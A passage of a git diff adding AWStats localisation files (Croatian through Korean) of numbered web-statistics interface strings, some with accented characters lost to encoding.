Pogodci +message50=Nepoznat preglednik (useragent field) +message51=Roboti posjetitelji +message52=posjeta/posjetitelju +message53=Posjetitelji roboti/spideri +message54=Besplatan analizator logova za napredne web statistike +message55=od +message56=Stranica +message57=Pogodaka +message58=Verzije +message59=Operativni susutav +message60=Sij +message61=Velj +message62=O�u +message63=Tra +message64=Svi +message65=Lip +message66=Srp +message67=Kol +message68=Ruj +message69=Lis +message70=Stu +message71=Pro +message72=Navigacija +message73=Tip datoteka +message74=Osvje�i sada! +message75=Bajta +message76=Nazad na glavnu stranicu +message77=Prvih +message78=dd mmm yyyy - HH:MM +message79=Filter +message80=Puna lista +message81=Ra�unala +message82=Poznatih +message83=Roboti +message84=Ned +message85=Pon +message86=Uto +message87=Sri +message88=�et +message89=Pet +message90=Sub +message91=Dani tjedna +message92=Tko +message93=Kada +message94=Prijavljenih korisnika +message95=Min +message96=Prosje�no +message97=Max +message98=Web sa�imanje +message99=Sa�uvani promet +message100=Before compression +message101=After compression +message102=Ukupno +message103=razli�itih klu�nih fraza +message104=Ulaz +message105=Kod +message106=Prosje�na veli�ina +message107=Dolazaka sa NewsGroupa +message108=KB +message109=MB +message110=GB +message111=Grabber +message112=Da +message113=Ne +message114=Info. +message115=OK +message116=Izlaz +message117=Trajanje posjeta +message118=Zatvori prozor +message119=Bajta +message120=Tra�ene Fraze +message121=Tra�ene Rije�i +message122=razli�itih tra�ilica +message123=razli�itih sajtova +message124=Ostale fraze +message125=Ostali posjeti (i/il anonimni korisnici) +message126=Sa kojih tra�ilica +message127=Sa kojih stranica +message128=Sa�etak +message129=To�an broj nije dostupan u godi�njen pregledu +message130=Data value arrays +message131=EMail po�iljaoca +message132=EMail primatelja +message133=Period izvje�taja +message134=Extra/Marketing +message135=Veli�ine ekrana +message136=Worm/Virus napadi +message137=Stavljeno u favorite (procjenjeno) +message138=Dani u mjesecu +message139=Razno +message140=Preglednici sa podr�kom za javu +message141=Preglednici sa podr�kom za Macromedia Directora +message142=Preglednici sa podr�kom za Flash +message143=Preglednici sa podr�kom za sviranje Real audia +message144=Preglednici sa podr�kom za sviranje Quicktime audia +message145=Preglednici sa podr�kom za sviranje Windows Media audia +message146=Preglednici sa podr�kom za PDF +message147=SMTP kodovi gre�ka +message148=Dr�ave +message149=Mails +message150=Veli�ina +message151=Prvi +message152=Posljednji +message153=Exclude filter +message154=Ovdje prikazani podaci svrstani su pod "nevi�eno" od �ivih korisnika, tako da nisu uklju�eni u ostale rezultate. +message155=Cluster +message156=Promet ovdje prikazanih robota svrstan je pod "nevi�eno" od �ivih korisnika, tako da ti podaci nisu uklju�eni u ostale rezultate. +message157=Broj nakon + je broj uspje�nih pogodaka na "robots.txt" datoteku. +message158=Promet ovdje prikazanih crva svrstan je pod "nevi�eno" od �ivih korisnika, tako da ti podaci nisu uklju�eni u ostale rezultate. +message159=Nevi�en promet uklju�uje promet stvoren robotima, crvima, ili kao odgovor specijalnim HTTP status kodovima. +message160=Vi�en promet +message161=Nevi�en promet +message162=Mjese�ni promet +message163=Crv +message164=Razli�itih crva +message165=Uspje�no poslanih mailova +message166=Mails failed/refused +message167=Sensitive targets +message168=Onemogu�en Javascript +message169=Napravio +message170=plugins diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-hu.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-hu.txt new file mode 100644 index 0000000..924935d --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-hu.txt @@ -0,0 +1,176 @@ +# Hungarian message file (gabor.funk@hunetkft.hu) +# based on $Revision: 1.19 $ - $Date: 2005/12/15 00:04:20 $ +PageCode=iso-8859-2 +message0=Ismeretlen +message1=Ismeretlen (feloldatlan ip) +message2=Egyebek +message3=R�szletek +message4=Nap +message5=H�nap +message6=�v +message7=Statisztikai alap +message8=Els� l�togat�s +message9=Utols� l�togat�s +message10=L�togat�sok sz�ma +message11=Egyedi l�togat� +message12=L�togat�s +message13=K�l�nb�z� kulcssz� +message14=Keres�s +message15=Sz�zal�k +message16=Forgalom +message17=Tartom�nyok-Orsz�gok +message18=L�togat�k +message19=Oldalak/URL +message20=�r�nk�nti bont�s +message21=B�ng�sz�k +message22= +message23=Hivatkoz�sok +message24=Nem friss�tett (L�sd 'Build/Update' fejezet az awstats_setup.html oldalon) +message25=L�togat�k tartom�nyok/orsz�gok szerint +message26=host +message27=oldal +message28=k�l�nb�z� oldalak-url +message29=let�lt�tt oldalak +message30=Egy�b szavak +message31=Nem tal�lt oldalak +message32=HTTP st�tuszk�dok +message33=Netscape verzi�k +message34=IE verzi�k +message35=Utols� friss�t�s +message36=Csatlakoz�sok sz�rmaz�si helyei +message37=Sz�rmaz�si hely +message38=Direkt el�r�s / k�nyvjelz� +message39=Ismeretlen eredet� +message40=Internet keres�kb�l +message41=Linkek k�ls� oldalakr�l (a keres�ket kiv�ve) +message42=Bels� linkek (oldalon bel�l) +message43=Keres�motorokban haszn�lt kifejez�sek +message44=Keres�motorokban haszn�lt kulcsszavak +message45=Feloldatlan IP c�mek +message46=Ismeretlen OS (Hivatkoz� mez�) +message47=Ig�nyelt, de nem tal�lt URL-ek (HTTP code 404) +message48=IP c�m +message49=Hib�s k�r�sek +message50=Ismeretlen b�ng�sz�k (Hivatkoz� mez�) +message51=L�togat� robot +message52=l�togat�s/l�togat� +message53=Robot/Spider l�togat�k +message54=Ingyenes, val�sidej� napl�f�jl analiz�tor fejlett web statisztik�k k�sz�t�s�hez +message55=/ +message56=Oldalak +message57=Tal�latok +message58=Verzi�k +message59=Oper�ci�s Rendszerek +message60=Jan +message61=Feb +message62=M�r +message63=�pr +message64=M�j +message65=J�n +message66=J�l +message67=Aug +message68=Szept +message69=Okt +message70=Nov +message71=Dec +message72=Navig�ci� +message73=F�jlt�pus +message74=Friss�t�s +message75=Adatmennyis�g +message76=Vissza a f�oldalra +message77=TOP +message78=yyyy mmm dd - HH:MM +message79=Sz�r� +message80=Teljes lista +message81=Host-ok +message82=ismert +message83=Robotok +message84=V +message85=H +message86=K +message87=Sze +message88=Cs +message89=P +message90=Szo +message91=Heti bont�s +message92=Ki +message93=Mikor +message94=Bejelentkezett felhaszn�l�k +message95=Min +message96=�tlag +message97=Max +message98=Web t�m�r�t�s +message99=Nyert s�vsz�less�g +message100=T�m�r�t�s bekapcsolva +message101=T�m�r�t�s eredm�nye +message102=�sszesen +message103=k�l�nb�z� kifejez�s +message104=Bel�p� oldalak +message105=K�d +message106=�tlagm�ret +message107=Kapcsol�d�s h�rcsoportb�l +message108=KB +message109=MB +message110=GB +message111=Grabber +message112=Igen +message113=Nem +message114=inform�ci�k +message115=OK +message116=Kil�p� oldalak +message117=L�togat�sok hossza +message118=Ablak bez�r�sa +message119=B�jt +message120=Kifejez�sek keres�se +message121=Kulcsszavak keres�se +message122=k�l�nb�z� hivatkoz� keres�motor +message123=k�l�nb�z� hivatkoz� oldal +message124=Egy�b kifejez�sek +message125=Egy�b, vagy "Anonymous" l�togat�k +message126=Hivatkoz� keres�motorok +message127=Hivatkoz� oldalak +message128=�sszes�t�s +message129=Pontos �rt�k nem �ll rendelkez�sre "�ves" n�zetben +message130=Adat �rt�k t�mb�k +message131=K�ld� E-Mail c�me +message132=Fogad� E-Mail c�me +message133=Statisztikai id�szak +message134=Extra/Marketing +message135=K�perny�m�retek +message136=Worm/Virus k�r�sek +message137=Hozz�ad�s a kedvencekhez (becsl�s) +message138=Napi bont�s +message139=Vegyes +message140=B�ng�sz�k Java t�mogat�ssal +message141=B�ng�sz�k Macromedia Director t�mogat�ssal +message142=B�ng�sz�k Flash t�mogat�ssal +message143=B�ng�sz�k Real audio t�mogat�ssal +message144=B�ng�sz�k Quicktime audio t�mogat�ssal +message145=B�ng�sz�k Windows Media audio t�mogat�ssal +message146=B�ng�sz�k PDF t�mogat�ssal +message147=SMTP hibak�dok +message148=Orsz�gok +message149=Levelek +message150=M�ret +message151=Els� +message152=Utols� +message153=Sz�r� (kiz�r�s) +message154=Az itt list�zott speci�lis HTTP statuszk�dot gener�lt k�r�sek forgalma csak a "nem n�zett forgalom" alatt szerepel, m�s statisztik�ba nincs belesz�m�tva. +message155=Cluster +message156=Az itt list�zott robotok forgalma csak a "nem n�zett forgalom" alatt szerepel, m�s statisztik�ba nincs belesz�m�tva +message157=A pluszjel ut�ni sz�mok a sikeres "robots.txt" f�jllek�r�seket jelentik. +message158=Az itt list�zott f�rgek forgalma csak a "nem n�zett forgalom" alatt szerepel, m�s statisztik�ba nincs belesz�m�tva. +message159=A "nem n�zett forgalom" tartalmazza a robotok, f�rgek �ltal lek�rt oldalakat illetve a speci�lis HTTP statuszk�dot gener�lt k�r�sek forgalm�t. +message160=N�zett forgalom +message161=Nem n�zett forgalom +message162=Havi bont�s +message163=F�rgek +message164=k�l�nf�le f�reg +message165=Sikeresen elk�ld�tt levelek +message166=Sikertelen/visszapattan� levelek +message167=�rz�keny tartalom +message168=Javascript kikapcsolva +message169=K�sz�tette az +message170=be�p�l� modulok +message171=R�gi�k +message172=V�rosok \ No newline at end of file diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-id.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-id.txt new file mode 100644 index 0000000..2fbe547 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-id.txt @@ -0,0 +1,137 @@ +# Indonesian message file (oleh Steven Haryanto) +# $Revision: 1.7 $ - $Date: 2008/10/05 11:01:31 $ +PageCode=iso-8859-1 +message0=Tidak Diketahui +message1=Tidak Diketahui (IP tidak teresolve) +message2=Lainnya +message3=Lihat Rincian +message4=Hari +message5=Bulan +message6=Tahun +message7=Statistik untuk +message8=Kunjungan Pertama +message9=Kunjungan Terakhir +message10=Jumlah Kunjungan +message11=Pengunjung Unik +message12=Kunjungan +message13=Kata Kunci +message14=Pencarian +message15=Persen +message16=Trafik +message17=Domain/Negara +message18=Pengunjung +message19=Halaman-URL +message20=Jam (Waktu Server) +message21=Browser +message22=Error HTTP +message23=Referer +message24=Tidak pernah diupdate +message25=Domain/negara pengunjung +message26=host +message27=halaman +message28=halaman-url unik +message29=Halaman yang Dilihat +message30=Kata lain +message31=Halaman tidak ditemukan (not found) +message32=Kode error HTTP +message33=Versi Netscape +message34=Versi IE +message35=Terakhir diupdate +message36=Asal koneksi dari +message37=Asal +message38=Direct address / Bookmark +message39=Asal tidak diketahui +message40=Link dari Search Engine +message41=Link dari situs lain (yang bukan search engine) +message42=Link dari situs sendiri (situs yang sama dengan halaman yang diakses) +message43=Frase yang dipakai di search engine +message44=Kata kunci yang dipakai di search engine +message45=Alamat IP yang tidak teresolve +message46=OS tidak diketahui (field useragent) +message47=URL tidak ditemukan (kode HTTP 404) +message48=Alamat IP +message49=Jumlah Hit Error +message50=Browser tidak diketahui (field useragent) +message51=robot unik +message52=kunjungan/pengunjung +message53=Robot/Spider +message54=Tool gratis penganalisis log realtime dan penghasil statistik web advanced +message55=dari +message56=Halaman +message57=Hit +message58=Versi +message59=Sistem Operasi +message60=Jan +message61=Feb +message62=Mar +message63=Apr +message64=Mei +message65=Jun +message66=Jul +message67=Agu +message68=Sep +message69=Okt +message70=Nov +message71=Des +message72=Navigasi +message73=Jenis File +message74=Update Sekarang +message75=Bandwidth +message76=Kembali ke halaman utama +message77=Kembali Ke Atas +message78=dd mmm yyyy - HH:MM +message79=Filter +message80=Daftar Lengkap +message81=Host +message82=Diketahui +message83=Robot +message84=Min +message85=Sen +message86=Sel +message87=Rab +message88=Kam +message89=Jum +message90=Sab +message91=Hari +message92=Siapa +message93=Kapan +message94=User yang memiliki password +message95=Min +message96=Rata-Rata +message97=Maks +message98=Kompresi web +message99=Penghematan bandwidth +message100=Sebelum kompresi +message101=Sesudah kompresi +message102=Total +message103=Frase unik +message104=Halaman masuk (entry page) +message105=Kode +message106=Ukuran rata-rata +message107=Link dari newsgroup +message108=KB +message109=MB +message110=GB +message111=Grabber +message112=Ya +message113=Tidak +message114=Info WhoIs +message115=OK +message116=Halaman keluar (exit page) +message117=Lama kunjungan +message118=Tutup window +message119=Byte +message120=Frase Pencarian +message121=Kata Kunci Pencarian +message122=search engine referer unik +message123=situs referer unik +message124=Frase lain +message125=Login lain (dan/atau user anonim) +message126=Search engine referer +message127=Situs referer +message128=Ringkasan +message129=Nilai pasti tidak tersedia di tampilan 'Tahunan' +message130=Array nilai data +message131=Email Pengirim +message132=Email Penerima +message133=Periode Laporan \ No newline at end of file diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-is.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-is.txt new file mode 100644 index 0000000..e3e24c6 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-is.txt @@ -0,0 +1,172 @@ +# Icelandic message file (throstur@bylur.net) +# $Revision: 1.5 $ - $Date: 2008/10/05 11:01:31 $ +PageCode=iso-8859-1 +message0=��ekkt +message1=��ekktar (ekki t�kst a� fletta upp IP-vistfangi) +message2=Anna� +message3=N�nari uppl�singar +message4=Dagur +message5=M�nu�ur +message6=�ri� +message7=T�lfr��i fyrir +message8=Fyrsta innlit +message9=S��asta innlit +message10=Fj�ldi innlita +message11=Fj�ldi gesta +message12=Innlit +message13=mismunandi leitaror� +message14=Leit +message15=Hlutfall +message16=Umfer� +message17=L�n/l�nd +message18=Gestir +message19=Vefs��ur-URL +message20=Klukkustundir +message21=Vafrar +message22= +message23=Tilv�sandi sl�� +message24=Aldrei veri� uppf�rt (Sj� 'Build/update' � awstats_setup.html s��unni) +message25=L�n/land gesta +message26=v�lar +message27=s��ur +message28=mismunandi s��ur +message29=Sko�a� +message30=�nnur or� +message31=S��a fannst ekki +message32=HTTP villubo� +message33=Netscape �tg�fur +message34=IE �tg�fur +message35=S��ast uppf�rt +message36=Tengdist vefsv��i fr� +message37=Uppruni +message38=Beinar tengingar / B�kamerki +message39=Uppruni ��ekktur +message40=Tilv�sanir fr� leitarv�lum +message41=Tilv�sanir utan vefs (�nnur vefsv��i fyrir utan leitarv�lar) +message42=Tilv�sanir innan vefs (�nnur s��a innan �essa vefsv��is) +message43=Setningar nota�ar � leitarv�lum +message44=Leitaror� notu� � leitarv�lum +message45=��ekkt IP vistfang +message46=��ekkt st�rikerfi (useragent reitur) +message47=Skr�r sem �ska� var eftir en fundust ekki (HTTP k��i 404) +message48=IP-vistfang +message49=Villa S�tt +message50=��ekktir vafrar (useragent reitur) +message51=mismunandi leitarormar +message52=innlit/gest +message53=Heims�knir leitarorma +message54=�keypis raunt�ma ann�lagreinir fyrir veft�lfr��i +message55=af +message56=S��ur +message57=Skr�r +message58=�tg�fur +message59=St�rikerfi +message60=jan +message61=feb +message62=mar +message63=apr +message64=ma� +message65=j�n +message66=j�l +message67=�g� +message68=sep +message69=okt +message70=n�v +message71=des +message72=Vafur +message73=Tegundir skr�a +message74=Uppf�ra n�na +message75=Bandv�dd +message76=Til baka � a�als��u +message77=efstu +message78=dd mmm yyyy - HH:MM +message79=S�a +message80=Heildarlisti +message81=V�lar +message82=�ekktar +message83=leitarormar +message84=sun +message85=m�n +message86=�ri +message87=mi� +message88=fim +message89=f�s +message90=lau +message91=Vikudagar +message92=Hver +message93=Hven�r +message94=Innskr��ir notendur +message95=L�gsta +message96=Me�altal +message97=H�sta +message98=�j�ppun vefs +message99=Sp�ru� bandv�dd +message100=Kveikt � �j�ppun +message101=�tkoma �j�ppunar +message102=Samtals +message103=mismunandi leitarsetningar +message104=Fyrsta s��a +message105=K��i +message106=Me�alst�r� +message107=Tilv�sanir fr� fr�ttah�pum +message108=KB +message109=MB +message110=GB +message111=�j�fur +message112=J� +message113=Nei +message114=Uppl�singar um l�n +message115=� lagi +message116=S��asta s��a +message117=Lengd innlits +message118=Loka glugga +message119=b�ti +message120=Leitarsetningar +message121=Leitaror� +message122=mismunandi tilv�sandi leitarv�lar +message123=mismunandi tilv�sandi vefir +message124=A�rar setningar +message125=A�rar innskr�ningar (og/e�a gestir) +message126=Tilv�sandi leitarv�lar +message127=Tilv�sandi vefsv��i +message128=Samantekt +message129=N�kv�mur fj�ldi ekki m�gulegur �egar heilt �r er birt +message130=Gildisfylki gagna +message131=Netf�ng sendanda +message132=Netf�ng vi�takanda +message133=Sk�rslut�mabil +message134=Anna�/marka�sm�l +message135=Skj�st�r�ir +message136=Ormar og v�rusar +message137=B�tt vi� sem b�kamerki (��tlun) +message138=M�na�ardagar +message139=�mislegt +message140=Vafrar me� Java stu�ning +message141=Vafrar me� Macromedia Director stu�ning +message142=Vafrar me� Flash stu�ning +message143=Vafrar me� Real audio stu�ning +message144=Vafrar me� Quicktime hlj��spilunarstu�ning +message145=Vafrar me� Windows Media hlj��spilunarstu�ning +message146=Vafrar me� PDF stu�ning +message147=SMTP villubo� +message148=L�nd +message149=Br�f +message150=St�r� +message151=Fyrsta +message152=S��asta +message153=�tilokunars�a +message154=�essi villubo� ���a a� gestir hafi � raun ekki s�� s��urnar, svo �eir eru ekki taldir annars sta�ar en h�r. +message155=Klasi +message156=�essar heims�knir komu ekki fr� raunverulegum gestum, svo ��r eru ekki taldar me� annars sta�ar en h�r. +message157=T�lur eftir + t�kna hversu oft "robots.txt" skr�r voru s�ttar. +message158=�essar heims�knir komu ekki fr� raunverulegum gestum, svo ��r eru ekki taldar me� annars sta�ar en h�r. +message159=""Engin augu" t�kna umfer� leitarorma, v�rusa og s�rstakra HTTP k��a. +message160=Augu +message161=Engin augu +message162=M�na�arleg saga +message163=Ormar +message164=mismunandi ormar +message165=Send br�f +message166=H�fnu� br�f +message167=S�kjanlegt +message168=Sl�kkt � Javascript diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-it.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-it.txt new file mode 100644 index 0000000..a2fb425 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-it.txt @@ -0,0 +1,188 @@ +# Italian message file +# $Revision: 1.19 $ - $Date: 2010/09/20 21:08:32 $ +# PaniC! - panic@freemail.it +# Francesco Potorti - pot@gnu.org +# iDave - idave@idave.it +# Salvo - salvo@scicli.com +# CereS - ceres@divxmania.it +# StarKnight - starknight@starkingdom.it +PageCode=utf-8 +message0=Sconosciuti +message1=Sconosciuti (ip non risolto) +message2=Altri +message3=Mostra dettagli +message4=Giorno +message5=Mese +message6=Anno +message7=Statistiche di +message8=Prima visita +message9=Ultima visita +message10=Numero di visite +message11=Visitatori diversi +message12=Visita +message13=parole chiave diverse +message14=Ricerche +message15=Percentuale +message16=Traffico +message17=Domini/Nazioni +message18=Visitatori +message19=Pagine-URL +message20=Ore +message21=Browser +message22= +message23=Provenienza +message24=Non aggiornato (Vedi 'Build/Update' sulla pagina awstats_setup.html) +message25=Domini o nazioni dei visitatori +message26=host +message27=pagine +message28=pagine-url diverse +message29=Accessi +message30=Altre parole +message31=Pagine non trovate +message32=Codici di errore HTTP +message33=Versioni di Netscape +message34=Versioni di Internet Explorer +message35=Ultimo Aggiornamento +message36=Provenienza delle connessioni +message37=Provenienza +message38=Accessi diretti, via segnalibro o link nelle email +message39=Accessi di origine sconosciuta +message40=Accessi da motore di ricerca +message41=Accessi da pagina esterna (altri siti eccetto i motori di ricerca) +message42=Accessi da pagina interna (altra pagina dello stesso sito) +message43=Frasi usate nei motori di ricerca +message44=Parole usate nei motori di ricerca +message45=Indirizzi IP non risolti +message46=Sistemi operativi sconosciuti (campo 'useragent') +message47=URL richieste ma non trovate (codice HTTP 404) +message48=Indirizzo IP +message49=Accessi con errore +message50=Browser sconosciuti (campo 'useragent') +message51=robot diversi +message52=visite/visitatore +message53=Accessi di robot e spider +message54=Analizzatore in tempo reale di log gratuito per statistiche web avanzate +message55=su +message56=Pagine +message57=Accessi +message58=Versioni +message59=Sistemi operativi +message60=Gen +message61=Feb +message62=Mar +message63=Apr +message64=Mag +message65=Giu +message66=Lug +message67=Ago +message68=Set +message69=Ott +message70=Nov +message71=Dic +message72=Navigazione +message73=Tipi di file +message74=Aggiorna +message75=Banda usata +message76=Pagina principale +message77=Prime +message78=dd mmm yyyy / HH:MM +message79=Filtro +message80=Elenco completo +message81=Host +message82=Conosciuti +message83=Robot +message84=Dom +message85=Lun +message86=Mar +message87=Mer +message88=Gio +message89=Ven +message90=Sab +message91=Giorni della settimana +message92=Chi +message93=Quando +message94=Utenti autenticati +message95=Min +message96=Media +message97=Max +message98=Compressione Web +message99=Banda risparmiata +message100=Prima della compressione +message101=Dopo la compressione +message102=Totale +message103=frasi chiave diverse +message104=Pagine iniziali +message105=Codice +message106=Dimensione media +message107=Accessi da un NewsGroup +message108=KB +message109=MB +message110=GB +message111=Grabber +message112=Si +message113=No +message114=Informazioni +message115=OK +message116=Pagine d'uscita +message117=Durata delle visite +message118=Chiudi questa finestra +message119=Byte +message120=Frasi cercate +message121=Parole cercate +message122=differenti motori di ricerca +message123=differenti siti +message124=Altre frasi +message125=Altre login (e/o utenti anonimi) +message126=Motori di ricerca +message127=Siti +message128=Sommario +message129=Valori esatti non disponibili nella vista 'Anno' +message130=Tabelle dei valori +message131=EMail del mittente +message132=EMail del ricevente +message133=Periodo di riferimento +message134=Extra/Marketing +message135=Risoluzione video +message136=Worm/Attacchi di virus +message137=Accessi riusciti a favicon.ico +message138=Giorni del mese +message139=Informazioni varie +message140=Browser con supporto per Java +message141=Browser con supporto per Macromedia Director +message142=Browser con supporto per Flash +message143=Browser con supporto audio per Real Player +message144=Browser con supporto audio per Quicktime Player +message145=Browser con supporto audio per Windows Media Player +message146=Browser con supporto PDF +message147=Codici di errore SMTP +message148=Nazioni +message149=Mail +message150=Dimensione +message151=Prima +message152=Ultima +message153=Escludi +message154=I codici elencati hanno generato accessi o traffico "non visualizzato" dai visitatori, pertanto non vengono inclusi negli altri grafici. +message155=Raggruppato +message156=I robot elencati hanno generato accessi o traffico "non visualizzato" dai visitatori, pertanto non vengono inclusi negli altri grafici. +message157=I numeri dopo il + rappresentano gli accessi effettuati verso i file "robot.txt". +message158=I worm elencati hanno generato accessi o traffico "non visualizzato" dai visitatori, pertanto non vengono inclusi negli altri grafici. +message159=Il traffico "non visualizzato" è il traffico generato da robot, worm oppure da risposte con codici di errore HTTP speciali. +message160=Traffico visualizzato +message161=Traffico non visualizzato +message162=Riepilogo mensile +message163=Worm +message164=worm diversi +message165=Mail inviate correttamente +message166=Mail fallite/rifiutate +message167=Obiettivi sensibili +message168=Javascript disabilitato +message169=Creato da +message170=plugin +message171=Regioni +message172=Città +message173=Versioni di Opera +message174=Versioni di Safari +message175=Versioni di Chrome +message176=Versioni di Konqueror +message177=. +message178=File scaricati \ No newline at end of file diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-jp.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-jp.txt new file mode 100644 index 0000000..3adb08e --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-jp.txt @@ -0,0 +1,171 @@ +# Japanese message file (info@kchosting.jp) +# $Revision: 1.9 $ - $Date: 2004/06/07 19:04:36 $ +PageCode=UTF-8 +message0=不明 +message1=不明(ipが解りません) +message2=その他 +message3=詳細を見る +message4=日 +message5=月 +message6=年 +message7=統計 +message8=最初の訪問 +message9=最後の訪問 +message10=訪問数 +message11=訪問者 +message12=訪問 +message13=キーワード +message14=検索 +message15=パーセント +message16=容量 +message17=ドメイン/国名 +message18=訪問者 +message19=URLページ +message20=時間 +message21=ブラウザ +message22=HTTPエラー +message23=参照 +message24=更新なし +message25=訪問者・ドメイン/国名 +message26=ホスト +message27=ページ +message28=ページ +message29=アクセス +message30=他の言葉 +message31=ページが見つかりません +message32=HTTPエラーコード +message33=Netscapeバージョン +message34=IEバージョン +message35=最終の更新 +message36=このサイトへのアクセス元 +message37=アクセス元 +message38=直接URLを入力/お気に入りからのアクセス +message39=起点が不明 +message40=インターネット検索エンジンからのリンク +message41=外部ページからのリンク(検索エンジンを除く他のホームページ) +message42=内部ページからのリンク(同じサイトの他のページ) +message43=検索エンジンの文字列(キーフレーズ) +message44=検索エンジンの文字列(キーワード) +message45=不明なIPアドレス +message46=不明なOS(参照フィールド) +message47=要求されたURLは見つかりません(HTTPコード404) +message48=未解決のIPアドレス +message49=エラー 件数 +message50=不明ブラウザ(参照フィールド) +message51=ロボットの訪問 +message52=訪問/訪問者 +message53=ロボット/スパイダーの訪問者 +message54=上級web統計のフリーリアルタイムログファイル分析 +message55=の +message56=ページ +message57=件数 +message58=バージョン +message59=オペレーティングシステム +message60=1月 +message61=2月 +message62=3月 +message63=4月 +message64=5月 +message65=6月 +message66=7月 +message67=8月 +message68=9月 +message69=10月 +message70=11月 +message71=12月 +message72=ナビゲーション +message73=ファイルの種類 +message74=更新する +message75=バイト +message76=メインページに戻る +message77=トップ +message78= yyyy年 mmm dd日 - HH:MM +message79=フィルター +message80=全リスト +message81=ホスト +message82=既知 +message83=ロボット +message84=日曜日 +message85=月曜日 +message86=火曜日 +message87=水曜日 +message88=木曜日 +message89=金曜日 +message90=土曜日 +message91=曜日 +message92=だれ +message93=いつ +message94=認証されたユーザー +message95=最小 +message96=平均 +message97=最大 +message98=Web圧縮 +message99=帯域幅の保存 +message100=圧縮前 +message101=圧縮後 +message102=合計 +message103=キーフレーズ +message104=入り口 +message105=コード +message106=平均サイズ +message107=ニュースグループからのリンク +message108=Kb +message109=Mb +message110=Gb +message111=Grabber +message112=Yes +message113=No +message114=WhoIs情報 +message115=OK +message116=出口 +message117=訪問の長さ +message118=ウィンドーを閉じる +message119=バイト +message120=検索文字列(キーフレーズ) +message121=検索文字列(キーワード) +message122=検索エンジン +message123=ホームページ +message124=他のフレーズ +message125=他のログイン +message126=検索エンジン +message127=ホームページ +message128=サマリー +message129=「年」ビューでは精密な数字はありません +message130=データ配列関数 +message131=送信者のEMail +message132=受信者のEMail +message133=表示するレポート +message134=エキストラ/マーケティング +message135=画面解像度 +message136=ワーム/ウィルス攻撃 +message137=お気に入りに追加 +message138=日付 +message139=その他 +message140=Java 対応ブラウザー +message141=Macromedia Director 対応ブラウザー +message142=Flash 対応ブラウザー +message143=Real Audio 対応ブラウザー +message144=Quicktime Audio 対応ブラウザー +message145=Windows Media 対応ブラウザー +message146=PDF 対応ブラウザー +message147=SMTP エラーコード +message148=国 +message149=メール +message150=サイズ +message151=最初 +message152=最後 +message153=除外フィルター +message154=このチャートのコードは訪問者によるアクセスではありませんので他のチャートに含まれていません。 +message155=クラスター +message156=ロボットによるアクセスは訪問者の閲覧とは違いますので他のチャートに含まれていません。 +message157=+の後の数字は「robots.txt」の表示が成功した回数です。 +message158=ワームによるアクセスは訪問者の閲覧とは違いますので他のチャートに含まれていません。 +message159=閲覧に含まれないアクセスはロボット、ワームなどによるものです。 +message160=閲覧アクセス +message161=閲覧に含まれないアクセス +message162=月 +message163=ワーム +message164=その他のワーム +message165=Mails successfully sent +message166=Mails failed/refused +message167=Sensitive targets \ No newline at end of file diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-ko.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-ko.txt new file mode 100644 index 0000000..019b58d --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-ko.txt @@ -0,0 +1,174 @@ +# Korean message file (translator unknown in previous R1.6/ currently power@k-june.com after 1.7) +# $Revision: 1.1 $ - $Date: 2005/09/30 22:12:38 $ +PageCode=UTF-8 +message0=미확인 +message1=알수없는 접속자(알수없는 ip) +message2=기타 +message3=자세히 보기 +message4=일 +message5=월 +message6=년 +message7=통계 +message8=처음 접속 +message9=마지막 접속 +message10=접속 회수 +message11=접속자수 +message12=접속 +message13=단어를 검색했습니다 +message14=검색어 +message15=비율 +message16=Traffic +message17=도메인/국가 +message18=방문자 +message19=페이지/URL +message20=시간별 통계 +message21=브라우저 +message22=HTTP 에러 +message23=참조한 경로 +message24=업데이트된적 없음(awstats_setup.html의 Build/Update를 참고하세요) +message25=방문자 도메인/국가 +message26=호스트 +message27=페이지 +message28=다른 페이지 +message29=읽기 회수 +message30=다른 단어 +message31=페이지없음 +message32=HTTP 에러 코드 +message33=넷스케이프 버전 +message34=MS 인터넷 익스플로러 버전 +message35=마지막 업데이트 +message36=접속 사이트별 통계 +message37=주소 +message38=직접 주소 입력 / 즐겨찾기 +message39=알수없음 +message40=내부 검색 엔진에서 연결 +message41=외부페이지에서 연결 (검색엔진을 제외한 다른 웹사이트) +message42=내부페이지에서 링크(같은 사이트의 다른 페이지) +message43=검색엔진에서 사용한 문장(문구) +message44=검색엔진에서 사용한 단어 +message45=알수없는 IP 주소 +message46=알수없는 OS (페러퍼 필드) +message47=존재하지 않는 URL 접속시도 (HTTP 코드 404) +message48=IP 주소 +message49=접속오류 회수 +message50=알수없는 브라우저 (레퍼러 필드) +message51=종류의 검색엔진이 방문하였습니다. +message52=접속/방문자 +message53=검색로봇/스파이더 방문 +message54=진보적인 웹 통계를 위한 자유로운 실시간 로그파일 +message55=- +message56=읽은 페이지 +message57=조회수 +message58=버전별 보기 +message59=운영체제 +message60=1월 +message61=2월 +message62=3월 +message63=4월 +message64=5월 +message65=6월 +message66=7월 +message67=8월 +message68=9월 +message69=10월 +message70=11월 +message71=12월 +message72=방문종류/방식 통계 +message73=파일 종류 +message74=Update now +message75=전송량 +message76=처음으로 돌아가기 +message77=상위 +message78=yyyy년 mm월 dd일 - HH시 MM분 +message79=찾기 +message80=전체보기 +message81=호스트 +message82=알려진 접속자 +message83=검색엔진 +message84=일 +message85=월 +message86=화 +message87=수 